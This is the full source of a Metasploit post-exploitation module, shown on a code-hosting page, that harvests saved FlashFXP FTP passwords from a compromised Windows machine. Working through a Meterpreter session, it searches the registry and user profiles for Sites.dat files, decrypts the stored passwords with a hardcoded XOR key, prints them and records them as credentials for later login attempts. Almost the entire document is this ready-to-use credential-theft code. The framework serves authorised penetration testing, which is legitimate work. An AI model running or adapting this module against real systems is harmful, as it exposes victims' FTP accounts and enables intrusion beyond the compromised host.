Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/credentials/flashfxp.rb
19813 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::Windows::Registry
8
include Msf::Auxiliary::Report
9
include Msf::Post::Windows::UserProfiles
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Windows Gather FlashFXP Saved Password Extraction',
16
'Description' => %q{
17
This module extracts weakly encrypted saved FTP Passwords from FlashFXP. It
18
finds saved FTP connections in the Sites.dat file.
19
},
20
'License' => MSF_LICENSE,
21
'Author' => [ 'theLightCosine'],
22
'Platform' => [ 'win' ],
23
'SessionTypes' => [ 'meterpreter' ],
24
'Notes' => {
25
'Stability' => [CRASH_SAFE],
26
'SideEffects' => [],
27
'Reliability' => []
28
},
29
'Compat' => {
30
'Meterpreter' => {
31
'Commands' => %w[
32
core_channel_eof
33
core_channel_open
34
core_channel_read
35
core_channel_write
36
]
37
}
38
}
39
)
40
)
41
end
42
43
def run
44
# Checks if the Site data is stored in a generic location for all users
45
flash_reg = 'HKLM\\SOFTWARE\\FlashFXP'
46
flash_reg_ver = registry_enumkeys(flash_reg.to_s)
47
48
# Ini paths
49
@fxppaths = []
50
51
unless flash_reg_ver.nil?
52
software_key = "#{flash_reg}\\#{flash_reg_ver.join}"
53
generic_path = registry_getvaldata(software_key, 'InstallerDataPath') || ''
54
unless generic_path.include? '%APPDATA%'
55
@fxppaths << generic_path + '\\Sites.dat'
56
end
57
end
58
59
grab_user_profiles.each do |user|
60
next if user['AppData'].nil?
61
62
tmpath = user['AppData'] + '\\FlashFXP\\'
63
get_ver_dirs(tmpath)
64
end
65
66
@fxppaths.each do |fxp|
67
get_ini(fxp)
68
end
69
end
70
71
def get_ver_dirs(path)
72
session.fs.dir.foreach(path) do |sub|
73
next if sub =~ /^(\.|\.\.)$/
74
75
@fxppaths << "#{path}#{sub}\\Sites.dat"
76
end
77
rescue StandardError
78
print_error("The following path could not be accessed or does not exist: #{path}")
79
end
80
81
def get_ini(filename)
82
config = client.fs.file.new(filename, 'r')
83
parse = config.read
84
ini = Rex::Parser::Ini.from_s(parse)
85
86
if ini == {}
87
print_error("Unable to parse file, may be encrypted using external password: #{filename}")
88
end
89
90
ini.each_key do |group|
91
host = ini[group]['IP']
92
username = ini[group]['user']
93
epass = ini[group]['pass']
94
port = ini[group]['port']
95
next if epass.nil? || (epass == '')
96
97
passwd = decrypt(epass)
98
99
print_good("*** Host: #{host} Port: #{port} User: #{username} Password: #{passwd} ***")
100
service_data = {
101
address: Rex::Socket.getaddress(host),
102
port: port,
103
protocol: 'tcp',
104
service_name: 'ftp',
105
workspace_id: myworkspace_id
106
}
107
108
credential_data = {
109
origin_type: :session,
110
session_id: session_db_id,
111
post_reference_name: refname,
112
username: username,
113
private_data: passwd,
114
private_type: :password
115
}
116
117
credential_core = create_credential(credential_data.merge(service_data))
118
119
login_data = {
120
core: credential_core,
121
access_level: 'User',
122
status: Metasploit::Model::Login::Status::UNTRIED
123
}
124
125
create_credential_login(login_data.merge(service_data))
126
end
127
rescue StandardError
128
print_status("Either could not find or could not open file #{filename}")
129
end
130
131
def decrypt(pwd)
132
key = 'yA36zA48dEhfrvghGRg57h5UlDv3'
133
pass = ''
134
cipher = [pwd].pack('H*')
135
136
(0..cipher.length - 2).each do |index|
137
xored = cipher[index + 1, 1].unpack('C').first ^ key[index, 1].unpack('C').first
138
if ((xored - cipher[index, 1].unpack('C').first < 0))
139
xored += 255
140
end
141
pass << (xored - cipher[index, 1].unpack('C').first).chr
142
end
143
return pass
144
end
145
end
146
147